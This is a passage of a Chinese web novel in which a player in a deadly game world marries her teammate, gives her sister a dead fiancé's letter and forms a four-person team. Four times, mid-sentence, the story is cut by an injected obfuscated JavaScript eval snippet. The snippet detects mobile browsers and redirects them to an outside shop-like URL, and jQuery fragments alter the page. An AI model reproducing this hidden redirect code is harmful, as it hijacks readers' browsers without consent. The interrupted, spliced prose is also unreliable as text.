她的精神状态很不好，那邪祟大概也是抓住了这个机会，才会钻进她的身体里。 “不要这样想，宁晦。” 想到自己拥有这样顽强的心态，用宁晦的身体生活时也依旧被那些歧视搞得心绪不宁，宁昭看向宁晦的眼神里带了些心疼：“有可能，黑暗后的黎明就快要到来了。” 宁晦看向宁昭，什么话也没有说。 终于回到自己身体，游戏进度却又回到了开端。虽然之前发生过的事情通通抹零了，但好消息是，她现在开了上帝视角，一切线索尽在她的掌握之中。 “你先躺在这里休息。不要想不开，不要做傻事。” 离开前，宁昭还是放不下心，于是她再三叮嘱，直到得到宁晦肯定的回答后，她才离开她的房间。 在房间里耽搁了许久，按照剧情发展，现在沈书言应该已经在前厅了。 果然，到前厅的时候，沈书言已经坐在那儿听着李秀丽讲话了。 见宁昭出来，李秀丽脸上露出些不满的表情：“怎么到现在才来？姑爷来了，都在这里等了你好久了。” “小晦身体不太舒服，我陪了她一会儿。” 虽说是对李秀丽说话，但宁昭的目光却落在沈书言身上。她笑笑：“离婚礼还有几天，怎么今天就来了？” “外面下大雨了，我来躲雨。” 早知道沈书言会这样说，宁昭唇角荡漾着笑，走到他身边坐下：“我刚好有话要跟你说，你就自己来了。” “哟，看来小两口是有话要说。” 见两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327770|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人之间的氛围如此暧昧，李秀丽不由得掩嘴偷笑，连忙起身：“那你们先聊，我去买菜，今晚让姑爷再尝尝我的手艺。” 待到李秀丽离开，前厅只剩下宁昭和沈书言两个人。她转头看向他，歪了歪头，唇畔是一抹好整以暇的笑。 看到她略有些不怀好意的眼神，沈书言眯了眯眼：“怎么这么看我？” “不打算夸我两句？” 沈书言将手肘随意搭在椅子上：“看你的样子，是做了些什么好事？” “别装了，我知道你记得。” 宁昭走到沈书言身边坐下，两人身体靠在一起，几乎没有间隙：“终于换回我自己的身体了。” 感受到她快要贴上来的身体，沈书言目光落在她窈窕的细腰上，只看了一眼就忙收回来：“还挺聪明的。” “嗯。” 虽然看出沈书言的局促，但宁昭却并没有因此就离他远一点。她一直看着沈书言的脸，直到看得他耳根子都红了，这才说话：“然后，我有一件想做了很久的事情。” “什么？” 她的眼神一如既往地明亮，只是与前几日不同。此刻落在沈书言眼中的，是属于她自己的原原本本的眼睛。 “现在还不能做。” 宁昭故意卖了个关子：“还记得这个吗？” 他之前送她的同心结出现在她手里，她拎起它晃了晃：“幸亏我有先见之明，把它放到了系统背包里，不然调整时间后就没了。” “你很喜欢它。” 见宁昭如此宝贝这个同心结，沈书言又不自觉地笑了，唇畔的小梨涡显现，表情温驯又和煦。 看着他的笑容，宁昭心下动容，不想再拖延时间：“我离开前还问了算命先生。他说，今年的七月初七也是个适合结婚的好日子。” 她回到了七月初六，于是明天还是七月初七。 “所以？” “我们明天去领结婚证吧。” “……” * 民国时期，思想启蒙，社会风气开放，已经有了举办西式婚礼的习俗，结婚要领结婚证这个传统也逐渐出现。 进入游戏这么久，宁昭别的没学会多少，倒是在沈书言的言传身教下懂得了如何去钻游戏的空子。八抬大轿轰轰烈烈去接亲叫结婚，去领张结婚证也叫结婚。 甚至，后者还更有法律效力。 “新郎的表情怎么这么生硬，靠新娘近一点呀——” 摄影师看到一脸局促的沈书言，不禁笑着打趣：“新娘子这么漂亮，怎么还不舍得靠她近一点？” “我先生比较害羞。” 宁昭倒是毫无心理压力：“我靠他近一点就好。” 谁料，听完这句话的沈书言身体更僵硬，直到宁昭从身后狠狠拧了一把他的腰：“虽然是假的，但你也不用这么不情愿吧？” “我、我没有不情愿。” 怕宁昭误会，沈书言立马站直身子，朝镜头露出微笑，那略显慌张的模样倒是宁昭从未见过的。 心底暗喜，宁昭伸手勾住他的手臂，对着相机露出了一抹灿烂又明媚的笑。 “三、二、一……” 46. 黄道吉日 “咔嚓”一声，闪光灯亮起，宁昭与沈书言之间的第一张照片就此定格。 一小时后，宁昭拿着两张民国时期的结婚证，和沈书言一同走出了婚姻登记办事处。 这个时代还是黑白照片，像素也不高，但虽然画面略有些模糊，好歹还是能看清楚脸。 照片中，宁昭穿着旗袍，长发绾成温柔的发髻，笑容温婉自然。而沈书言身穿黑色长衫，站在一旁，虽笑容有些僵硬，但他过人的颜值掩饰了这些微的瑕疵，两人站在一块的画面尤其养眼，竟看得宁昭有些爱不释手。 “就当留个纪念。” 宁昭将其中一张照片递给沈书言：“和我结婚你无需自卑。” “嗯。” 沈书言接过照片，低头看了好一会儿。虽然表情如旧，但眼神却温柔的像能掐出水来，以至于宁昭拉他衣服的时候他都没有注意。 “沈书言，你看。” 这时，宁昭的面前出现两行金字。 【检测到您已完成游戏任务，恭喜您成功通过副本《黄道吉日》】 【您仍有时间对此副本进行探索。请问是否回到主神空间？】 “你是故意选这个副本的对不对？” 心中一直有这样的疑虑，直到副本通关，宁昭才问出来：“这个副本不难。” 虽说也是SSS级难度的副本，但和《塞尔维亚的舞女》比起来，真的好了太多。 “是对你来说不难而已。” 这样说倒也确实。毕竟帮助她通关的最关键因素就是那个花50积分买的道具。如果没有所谓“后悔药”，她还能这样简单就通关吗？ 如果没能通关，是不是她和宁晦就都只有死路一条？ 她不敢再想。 “回去还是……” 看着快要暗下来的天色，宁昭长吁一口气：“还没到时候。” 大概知道宁昭想做些什么，沈书言点了点头。 * 回过神来的宁晦一直躺在床上，睡不着觉，于是便一直看着天花板，心头是浓重的悲戚，却又不知道该如何去化解，只能睁着空洞的双眼，脑海里思绪万千。 直到宁昭推开她房间的门，她看到她穿着红色的旗袍，想扯出一抹笑：“恭喜姐姐。” “小晦，你今天心情一直很低落。” 宁昭走到她床边，握住她的手：“可不可以告诉我你心里是怎么想的？” 宁晦在宁昭的搀扶下靠在床上坐好，眸色却始终晦暗不明：“我怎么想的不重要。过几天就要结婚了，现在说什么都没意义。” “你不想嫁给柳衡吗？” 看着宁晦落寞的表情，宁昭又联想到她曾发现的线索，一时间只觉得心疼。 “姐姐，我不像你命这么好。从出生以来，你就一直漂亮优秀，能嫁给姐夫那样好的人，是你应得的。” 宁晦的笑容略显苍白：“我配不上柳衡，他也不喜欢我。我知道，如果不是他身上的病，我没办法那么轻松就嫁到他家。既然是我得了便宜，那就不该有怨言，应该安安分分等着婚期才是。” “那你喜不喜欢他？” 握住宁晦放在被褥上的手，宁昭这才发现，她手心的温度冰凉。 听到这个问题，宁晦沉默了，良久没有说话。 虽然用宁晦的身体生活过几天，但宁昭此前并不能确定她的心意。但是，看到宁晦现在的表情，她便全然懂了，心里也有了分寸。 终于，宁昭拿出了一直捏在手里的信封：“抱歉，这封信原本不该在今天拿给你。” 她这样做也许会打乱未来的发展，但她仍然想要这么做。 看到这封信，宁晦的眼神飘忽了一瞬。她抖着手将信拆开，入目是属于柳衡的清隽字体—— 吾妻宁晦： 展信安。 很抱歉，现在才让你看到这封信。此时此刻，你应当已经成为了我的妻子，不能亲眼见证这一幕，是我此生的遗憾。 我想你应该会怨恨我，怨我执意以此残破的身躯迎娶你，成婚后又要你待在这柳府守活寡，也怨我以权压人，从不顾及你的感受，甚至你来提退婚，我都表示了拒绝。我不奢求能获得你的原谅，只希望从今往后，在我不在的日子里，你能稍微好过一些。 小晦，和你在一起的时候，你总是不敢正眼看我。你说你没有你姐姐的美貌，名字也不如你姐姐好听。但你不知道，我眼中的你很可爱，名字也一点都不晦气。韬光养晦、大器晚成，晦这个字很好，我多希望你能自信点，但你总不听我说话，也不相信我喜欢你。 娶你是我这辈子做过最自私的决定，但也是我能为你做的最后的事情。因为只有这样，你才能彻底摆脱你的母亲。她逼迫你退学，我知道你不愿，所以我给你申请了保留一年学籍的证明，你可以再回学堂，做你真正想做的事，读你一直以来都想读的书。 自从哥哥走后，柳府的家产都落到了我的手里，现在它们都是你的了。我们并没有领结婚证，你可以变卖我的所有家产远走高飞，去一个没人认识你的地方开始你的新生活，它足够你衣食无忧地过完接下来的人生，我也庆幸我有足够的本钱，能给你重新再来的机会。 我的嘴很笨，和你在一起时总学不会表达，以至于你总是不相信我喜欢你。可喜欢就是喜欢，这与一个人的外貌是没有关系的。我很厌恶你的母亲，因为她给你灌输了这样的思想，让你变得如此小心翼翼。抱歉，我并不高尚，也请原谅我有如此私心。 既然你能看到这，就说明我已经不在了。没有我的日子，学会保护好自己。不要因为我的离去而哭泣，我希望你明媚、强大，哪怕前路曲折，也始终不要忘记，好好爱你自己。 柳衡。 信件到这里戛然而止，而看完这些的宁晦早就已经泣不成声。 看着这样的她，宁昭的心底也难过。 这是那封压在喜服下面的信，宁昭将她放在背包里一并带了过来。她没办法改变柳衡的结局，但她也许能让他们之间的遗憾稍微不那么深。 “姐姐，他死了？” 宁晦抹了把眼泪，伸手握住宁昭的手，一脸哀求地看她：“什么时候发生的事？我怎么什么都不知道……” “还没有。” 虽然现实很残酷，但宁昭还是说出了接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340882|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来的话：“如果你想，我可以带你去见他。” 说话间，她已经拿出了那张柳宅的地图。 * 将宁晦送进柳宅已经有一个小时，宁昭和沈书言坐在路边的馄饨店里，刚好到了饭点，他们便一人要了一碗热气腾腾的馄饨。 “是不是味道还挺好的？” 见沈书言吃着挺香，宁昭不禁得意：“没想到我随便找的馄饨店竟然味道这么好，我都有点舍不得离开了。” “那就在这里，不离开。” 沈书言惯会一本正经地接下宁昭的玩笑话，这次也不例外。 “离开当然得离开。” 宁昭放下勺子，一只手撑着下巴，直勾勾地盯着沈书言：“只是在离开前，我还发现了一件事。” “什么事？” 习惯了宁昭炽热的眼神，沈书言眼皮抬都没抬。 就在这时，旁边的柳宅里突然响起了唢呐的声音。没过多久，一支送葬队伍从柳宅浩浩荡荡出来，声音嘹亮，惹得全街的人都看了过去。 柳衡死了。 “在上一个存档点，柳衡也是死在了七月初七的傍晚。” 看向那长长的队伍，宁昭心底涌现出一些惆怅：“那天我们一起散步回家，突然听到的唢呐声，大概就是他送葬队伍发出的声音吧。” “嗯。” 听到沈书言这样的应答，宁昭不再说话了，而是直勾勾地盯着他的脸，像要将他看穿。 “怎么这样看我？” 又吃了口馄饨，沈书言实在受不了她直白的眼神，也放下手中的勺子，对上她炽热的视线。 “一个死人是没办法到宁家给未婚妻出头的。” 联想到那天发生的事，宁昭的语气愈发笃定：“那天来宁家带我离开的人，其实是你吧。” “……” 沈书言沉默的态度已经说明了所有。 “你就不好奇我是怎么知道的？” 两人都是聪明人，宁昭也不和他卖关子：“沈书言，不是只有你能认出我。” 没想到沈书言却笑了：“是因为我哪里露馅了吗？” “是啊。” 说到这里，宁昭不打算再说下去了。 其实那天看到“柳衡”深情的眼神，她就已经觉得奇怪。柳衡很爱宁晦，他没有道理看不出面前这个宁晦已经换了人，但那男人眼中的情意又是那么真切。 那就只剩下一个可能了。 此时此刻，宁昭已经不觉得自己是在自作多情。 “所以，如果我没想到回到过去这一招，我就会和你……” “嗯，七月十六，会由我代替柳衡和你结婚。届时，你依然能完成副本任务。” 一切都真相大白。 沈书言早就已经帮她铺好了通往成功的路。 此时，送葬队伍已经走远，宁晦从柳宅出来，神色看起来不太好。 宁昭立即起身，朝她那边跑去：“小晦。” 没想到，宁晦却没像她想象中那样悲伤，表情反而是宁昭从未在她脸上见过的释怀与淡然。 “姐姐，我想通了。” 47. 黄道吉日 宁昭看着她，静静等待她接下来的话。 “他让我离开。” 说完这句，宁晦伸手抱住宁昭：“姐姐，我会像他说的那样，好好活下去。” 她的语气仍然有些颤抖，像是强忍着不让自己的眼泪掉下来。 “接下来你打算怎么做？” 回抱住宁晦，宁昭轻拍她的肩：“按照他给你规划好的那样，七月十五和他结婚吗？” 即使那只是个形式，即使那场婚礼上没有新郎，但那是能帮助宁晦离开的最好方法。 “嗯。” 她点头：“然后我会离开。他希望我那样做，我便那样做。” 到一个没有人认识她的地方重新开始，也许在那里她会变得更自由。 家里那位势利眼的母亲，大概在她出嫁之后，也不会再想到她这个人了。 “你很坚强。” 松开宁晦，宁昭拨了拨她的头发：“好好生活，我要走了。” “我知道你不是从小和我一起长大的姐姐。” 看着宁昭的眼睛，宁晦冷不丁冒出这样一句话来：“但你们一样善良。” 听到这句话，宁昭百感交集。 * 【系统正在结算奖励……】 再次回到沈书言的主神空间，宁昭落在客厅柔软的沙发上，身体传来前所未有的舒适感——这是一种她很长时间没有感受到的、完全属于她自己的轻盈感。 金色发丝垂在脸侧，她回过神，赶紧拿起一旁的镜子照了照。镜中是熟悉的脸，她仍旧是她自己，只是不同的发色让她忽然间明白了一件很重要的事。 “沈书言，我可不可以理解为……” 她看向在厨房帮她倒水的队友哥：“副本里的我们其实不是真正的我们，而是类似于，另一个平行时空的我们？” 她原本以为副本中所有的设定和身份都是游戏给的，和其他npc的剧情与回忆也是自动生成。 她没想过，他们在另一个世界里也是鲜活的人。也许，在他们离开后，“宁昭”和“沈书言”依旧会在那里平稳地生活。 怪不得宁晦会在离别时说那样的话。 顷刻间，一杯水已经推到了宁昭的面前。沈书言顺势坐到她身边：“你可以这样理解。” 宁昭看着镜中的自己，一时有些沉默。既然这样，那他们便不是“假戏真做”了。 在另一个时空，他们是真的成为了夫妻。 “你还记不记得我们领证前一天，我对你说过的话？” 宁昭煞有其事地喝了口水，随后像做了什么决定一般，转身看向沈书言。 “我记得。” 见宁昭正襟危坐，沈书言的态度不免也认真了起来：“你说你有一件想做了很久的事情。” “那我现在告诉你。” 话音落下，还未等沈书言发话，宁昭便已经跪坐在沙发上，伸手搂住他的脖子。 当她吻下去的那一刻，沈书言的大脑是宕机的。 她身上自然的香气铺天盖地包裹住他，让他瞬间体会到一股前所未有的晕眩感。 她的唇很温热，吻得不深，却正是这唇齿间缱绻的厮磨让沈书言体温飙升，身体变得僵硬不说，连呼吸都紊乱急促起来。 “女神，你在干什么啊！！！” 正当宁昭想更进一步时，窗外突然传来一道撕心裂肺的哀嚎声。这声音石破天惊地响彻在沈书言偌大又安静的别墅外，吓得宁昭立马松开沈书言，而后者也下意识伸手捉住她的手，将她揽进怀里。 “臭狐狸，你放开我女神——” 窗户那传来“咚咚”的拍打声，两人往窗外看去，竟发现萧朔不知道什么时候出现在了那里，此刻正一脸哀怨地看着沙发上相拥的两人，张扬的红发惹眼□□，表情比鬼还吓人。 “你从来没告诉我主神空间还能串门啊？” 宁昭的脸红扑扑的，还没来得及回味刚才的那个吻，便手忙脚乱地从他怀里出来：“他怎么会找到你家？” “……” 谁料，沈书言就像什么都没听见一样，一直看着宁昭的脸，耳尖红得能滴血。 被沈书言看得有些不好意思，宁昭伸手去捂他的嘴：“算了，你先不要说话。” 好不容易升温的感情又忽然被打断，宁昭有点不爽。她起身走到别墅门口，猛地拉开门：“你怎么摸到这儿的？” “女神，我终于见到你了！” 脑残粉见到正主的第一反应就是发疯，具体表现在语无伦次与答非所问上，萧朔算是把这特点身体力行地展现在了宁昭的面前。 “我们上一把是队友啊！而且我还知道你们的编号，我只需要略施小计就能找到你们的主神空间！” 看到宁昭如此真实地出现在他面前，再加上他正近距离面对她那张美得极具冲击力的脸，萧朔激动得快要晕过去：“能跟你一起过副本，我死而无憾！” 这一口一个女神叫得宁昭好尴尬，她侧开身子：“你先进来……” 伸手不打笑脸人，虽然萧朔很疯狂，但好歹是一同经历过生死的队友，还是自己的死忠粉，她不能直接把人堵在外面。 “好！时也，你快过来，我女神回来了！” 他头朝后叫了这么一句，不过多时，时也的身影也出现在了宁昭的视线里。 就这样，在沈书言的客厅里又多了两位“不速之客”。他们四个人坐在沙发上大眼瞪小眼，一时间各自心怀鬼胎，竟然没有一个人说话。 还是宁昭率先打破了尴尬的氛围。 “说吧，来找我们有什么事？” 她有意识忽略了刚才萧朔目睹她和沈书言接吻的事，一本正经地发问：“你们副本过完了？” “可不是吗，我们过完副本后就来找你了，女神，我在你家门口蹲了两天两夜，终于等到你了！” 萧朔明显是激动过了头，连自己刚才看到的内容都选择性地遗忘了。 只不过他说的都是些废话，没有半点参考价值。 意识到这一点的时也接上了他的话头：“是这样的，我们在过完上一个副本之后，发现游戏更改了规则，所以才来找到你们，想问问我们可不可以合作。” “更改规则？” 听到这里，宁昭来了兴趣：“你不妨说说，规则变成了什么样。” 在萧朔还盯着宁昭的脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13363648|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 犯草痴的时候，时也已经将游戏规则娓娓道来：“游戏优化了奖励机制。简单来说，就是副本会根据每个队伍幸存的人数进行加倍奖励。举个例子，如果我们四人组队，在过完副本后全员依旧幸存的话，那我们每个人得到的奖励就会翻四倍。” 还有这好事？ 宁昭将信将疑地看向沈书言，表示她对这个规则的真实性存疑。 “好，我们合作。” 没想到，这一次沈书言不加任何犹豫便点头答应。 见沈书言这样说，宁昭自然没有异议。只是在正式组队之前，她还是把沈书言拉到了一边，两人说了会悄悄话。 “你为什么这次答应得这么爽快？” 宁昭不解。明明上次时也和萧朔提出要组队的时候，沈书言还是万般不同意，怎么这次就来了个180度的大转变呢？ “你的主线任务完成多少了？” 听到他这么问，宁昭这才意识到她还没进行副本结算。赶紧点开结算栏看了一眼，她发现自己的魅力值竟然已经有【573220/1000000】这么多了。 “那两个人不笨。如果能一起组队，那顶多再过两个副本，你就可以回去了。” 说完这话，沈书言又回想起刚才那个稍纵即逝的吻。他闭了闭眼睛：“虚妄之都不是什么好地方，尽快回到你的世界，这才是你要做的。” 所以，哪怕再不喜欢外面这两个男人，他也不会不顾及正事。多进一个副本，就多一分危险。哪怕他有能力挡下大部分冲他而来的灾难，也难保自己能面面俱到地保护她直至通关。 经过刚刚那个吻，他更坚定了自己的想法。 “我能回去吗？” 提到“回去”两个字，宁昭当然激动。她想回去，回到她原本的世界，但看到沈书言的表情，她竟萌生了些许不舍：“那你呢？” 沈书言打开冰箱，从里面拿出一瓶橙汁，递到她手里：“这个很好喝。” “……” “我可以问你一个问题吗。” 那边的萧朔看到他们说悄悄话的模样，终于想起刚才在别墅里发生的事：“女神？” 接了两瓶橙汁递给他们，宁昭轻吸一口气：“问吧。” “你和沈书言，是在一起了吗？” 虽然窥探偶像的隐私不好，但萧朔觉得他们怎么也算是队友了，这样多嘴问一句也没有什么大问题。 听到他这样问，宁昭看了眼沈书言，发现他的神态没有任何变化，不禁觉得他榆木脑袋、不可理喻。 “你这么聪明，为什么不猜猜？” 回到沙发上，宁昭打开手机，开始认真看上个副本系统给她的奖励。 看到宁昭的反应，萧朔的心凉了一半。他有些难过：“你知道吗，我是你的男友粉。” “萧朔，不是所有的男女关系都能被揣测为情人关系。” 一直沉默的时也终于出声：“宁昭看起来不像是会在游戏里谈恋爱的人，她对待副本的态度很认真。” 这话宁昭越听越感觉奇怪。 结果，还未等她发话，耳边就传来沈书言讥诮的声音。 “你又知道了？” 48. 虚妄之都 意识到这句嘲讽是沈书言发出的，宁昭不禁看过去，刚安分下来的心又开始跳动。 “不，我不知道。” 见沈书言态度不友善，时也并不恼火，那张病态苍白的脸上还有些淡漠的笑意：“这只是我的猜测而已，毕竟和她一起同生共死过一回，我认为我对她还算有一点点的了解。” 宁昭确实是个事业心很重的女人，但这话从时也嘴里说出来，多多少少有些奇怪。 “不过是跟她说了几句话，一起过了一个副本，这也能叫了解？” 沈书言旁若无人地从冰箱里又拿出一个小蛋糕，走到宁昭身边递给她：“这个。” “会发胖的。” 虽嘴上这样说，但宁昭还是迫不及待地接了过来。 两人旁若无人的互动让萧朔心碎，不过时也看起来却很淡定：“是我冒昧了。我们什么时候在系统里正式绑定队友？” 虽说宁昭和沈书言口头上答应了，但游戏里还没有录入。 “先不着急。” 好久没有吃到人间的食物，奶油在唇齿融化的瞬间，宁昭感到前所未有的满足，连思路也变得清晰了起来：“这游戏怎么会莫名其妙给这样的好处，别是有诈。” 说着，她打开手机，再次打开那个名叫“知无不言”的栏目。 【宁昭】：系统，我想知道在绑定四人队伍之后，会不会遇到坑人的副本，比如队伍人数增加后死亡率会升高或者让队内成员互相残杀等剧情。 她不信副本会有这么好的心。 【系统】：您好，6824号玩家。在您经历的任何非惩罚性副本中，您与您队友的命运一直都是紧密相连的，你们需携手完成各自的任务，但永远不会站在对立面，因为虚妄之都是一个很有人情味的国度。 人情味。 看到这三个字，宁昭呵呵了。不过在得到系统这样的回答后，她也算是暂时放下心来。 上次被系统坑了一把，是因为她们触发了惩罚关卡。回想自己经历的三个正常副本，确实没有任何一个是把她和沈书言放在对立面的。 放下疑心后，他们四人终于在系统里绑定了队友的身份。 【恭喜6824号、3176号、3664号、1366号玩家，绑定成功！】 【您已解锁功能：探索虚妄之都地图】 就在这时，原本总是笼罩在窗户外面的白雾逐渐消散，隐约露出街道的样貌，甚至还能听到外面传来些行人对话的声音。 “所以之前只能看到白雾，是我等级太低导致的？” 宁昭从沙发上弹射起身，一路小跑到窗户边，看清外面的景象，发现它与现实世界的区别并不大。 街道虽陌生，但却不显得怪异，路上偶尔有行人走过，除了手上都有编号之外，看起来也没什么别的不同。 “是啊姐姐。” 萧朔答得很快：“我也是过了四个副本之后才解锁虚妄之都地图的。其实它跟现实世界没有什么区别，当然，只要你不去触碰规则……” “什么规则？” “我也不知道，我没有触碰过……但只要按照游戏的规矩来，就不会有大问题吧。” 听萧朔这么说，宁昭捕捉到一丝不对劲：“你倒是提醒我了。你在之前的副本里做了些什么，才会被送进惩罚副本？” 提到这话，萧朔原本不想说。但面前的人是宁昭，面对救命恩人，他不再有所隐瞒：“我帮了一个不该帮的人。” 宁昭沉默着，等待他接下来的话。 “你看，我的主线任务。” 像是怕宁昭不信，萧朔连忙掏出手机递到她面前。 【主线任务：见死不救】 【进度：256/1000】 “其实也不是谁都不能帮，只是那次我和时也帮的人是被游戏惩罚的人，所以才会被判定为违反规则。” 说到这里，萧朔抓了抓头发：“不过这也算是因祸得福吧。” 如果不是他的一念之差，他现在就不会认识宁昭了。 沙发上，时也看着窗边正在说话的两人，无声地笑笑：“好久不见。” 这句话说得很轻，轻得只有沈书言能够听到。 当然，回应他的是一阵沉默。 沈书言本身就不爱说话，更何况是这种明摆着对宁昭有意思的男人。 “你答应组队，是为了早些把她送出这个游戏吧？” 面对沈书言的冷脸，时也早就已经习以为常：“不管怎样，很抱歉，既然我们成为了队友，接下来的日子里，我会和你公平竞争。” “公平竞争？” 听到这个词，沈书言寡淡的眉眼间才有了些许笑意：“如果真的存在这么一场竞争，那它对你来说已经是不公平的了。” 时也眼中划过一抹不易令人察觉的不悦。 “就在你来之前。” 沈书言的语气慢条斯理，没有任何被冒犯的不爽，甚至可以从他的话语听出些炫耀：“她刚亲过我。” “……” “而且还是这里。” 沈书言点了点他的唇畔。 时也无语。 “你们收到系统发的消息了吗？” 正当两人暗自较劲时，宁昭和萧朔已经从窗边回来：“说是因为组队人数发生变化，所以留给我们休息的时间也相应延长了一个星期。” 其实看到这个消息的宁昭还是蛮高兴的。之前四个副本连接得太紧密，她每次都还没来得及好好喘气就被拉进了下一轮游戏中，这么多副本下来，难免觉得乏力。 “姐，我可会做饭了，要不要尝尝我的手艺？我们可以去超市买点食材。” 萧朔就像那开屏的孔雀，完完全全变成了宁昭的跟班。与旁边两个放狠话的男人比起来，他倒更像是做实事的那一个。 “好啊，刚好我也想出门逛逛。” “那咱们现在就走！” 沈书言：“……” 时也：“……” 就这样，不管另外二位队友是否愿意，他们四个人还是在五分钟后一起走在了虚妄之都的大街上。 只不过外面的天气很冷，宁昭冷得直哆嗦，直到沈书言的外套落在她身上，她一愣：“你……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13438286|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “快入冬了，回去前可以顺便去买几件新衣服。” 他将她身上的衣服仔细整理好，直到大衣的每一寸布料都遮盖在宁昭的身上，这才放开手。 “好。” 天空灰蒙蒙的，厚厚的云霭遮住天空，压得人喘不过去。大概是沈书言的住处太偏僻的缘故，宽阔的街道上没有多少行驶中的车辆，车道两边也都是排列相同的别墅，大概都是其他玩家的主神空间，只是此刻大多大门紧闭，门口不见一人。 虽然这里与现实世界的差别不大，但阴冷的天气与冷漠的行人还是让宁昭感觉到不安。 好在超市距离不是很远，步行一段时间就到了。也正是在这附近，人流量才渐渐多了起来。 快进超市时，天空下起了淅淅沥沥的小雨。宁昭裹紧身上的衣服，一鼓作气跑到超市的门檐下，却在抬眸时意外瞥到一抹熟悉的身影。 那是一个转角，一个身材挺拔的男人一闪而过。 他撑着伞，隐约露出下颌线，没两秒就消失在了视线里。明明只是匆匆一瞥，宁昭却觉得好像在哪里见过他，于是多看了一会儿，直到沈书言拉住她的手腕，她才回过神来。 “在看什么？” 沈书言朝她愣神的地方看了眼，没发现异常情况，不由得多问了一句。 突然觉得很没有安全感，宁昭回手与他十指相扣，两人将手隐没在黑色的大衣下，就显得没那么惹人注目：“没什么。” 略带压抑的感觉涌上心头，嘴里莫名有些发苦，宁昭拉着他进门，在超市里暖气扑面的瞬间才觉得好受了些。 大概是不想太过骚扰宁昭，在她和沈书言进门前，萧朔就已经拉着时也先进了超市。 想到萧朔应该会把他想要的食材买齐，宁昭没有压力，就这么拉着沈书言的手和他在超市里闲逛了起来。 货架上的商品都是虚妄之都特供，没有品牌，只用普通的标签纸写着它的名称和作用。购买时需要用到积分，价格不算贵，几个副本下来，宁昭已经攒了很多分，可以放肆购物一把。 按理说用手机买也行，但是偶尔出来逛逛超市，倒真让宁昭的心情变得愉悦了不少，刚产生的怪异感也渐渐被她抛之脑后了。 逛了一会，在思绪彻底放松下来后，宁昭脑海里忽然蹦出许多暧昧的画面。 大多是她之前演过的偶像剧里的情节，比如男女主一起逛超市，女主够不到货架最上面的商品，男主伸手帮她拿以此促进彼此之间的距离云云…… 都是些之前被她疯狂吐槽土得掉渣的剧情，但当她真的深陷其中时，竟然觉得这样的场景对于略有暧昧的两个人来说，确实十分温情。 宁昭基本上捅破了那层窗户纸，他们此刻紧紧交握着的手也昭示着他们俩的关系已经不再简单。 但是，她还是想要听到沈书言亲口说出那句话。 她看了看货架，发现最高处放着一盒看起来还挺好吃的饼干。于是她松开沈书言的手，默不作声踮脚去够，结果当然是够不到。 如她所愿，在她第二次尝试去拿饼干时，后背忽然撞上一个温暖的胸膛。 49. 虚妄之都 “想吃这个？” 沈书言没发现她的异常，把饼干从货架上拿下来：“这是压缩饼干，不好吃的。” 他还认真看了看生产日期：“快过期了，再看看别的。” 像是怕宁昭不信，他还把手中的盒子递给她看。 身后的温度稍纵即逝，鼻尖的荷尔蒙气息也逐渐变淡。见他死不开窍的样子，宁昭挥了挥手：“那算了。” “好。” 沈书言依言把盒子放回去，顺手拿了一个手推车：“刚好家里也需要补点生活用品。” “你怎么不赶我回我自己的主神空间去了？” 看到手边的货架上有薯片，宁昭顺手拿了一包：“我还没建设我的小家呢，要不这个星期我回去住吧，刚好添置些新的家具。” 听到她这样说，沈书言睨她一眼：“这是打算在虚妄之都长住下来，不想回你原本的世界去了？” “总不能一直蹭你的房子住吧……” 没名没份的，长时间住下去像什么。 后半句她没说，因为她内心里还是期待着沈书言能够读懂她的暗示。 结果并没有。 “你的主神空间等级太低，住的话会很难受。你要是实在想去，我可以陪你去看看。” 说完，沈书言想了想：“好像在贫民窟那里，离我家大概30公里左右，我得给你拿张地图，来回更方便些。” “……” 她不是真的想去啊！ 见他如此孺子不可教也，宁昭选择缴械投降。 她不爱吃零食，沈书言看着也不像是会吃这些的人，于是他们逛了一圈下来，购物车里就只有一些生活必备品。 结账时，刚好碰上满载而归的萧朔和时也，他们买了不少食材，种类很多，但大部分是绿色的蔬菜，宁昭对此表示很满意。 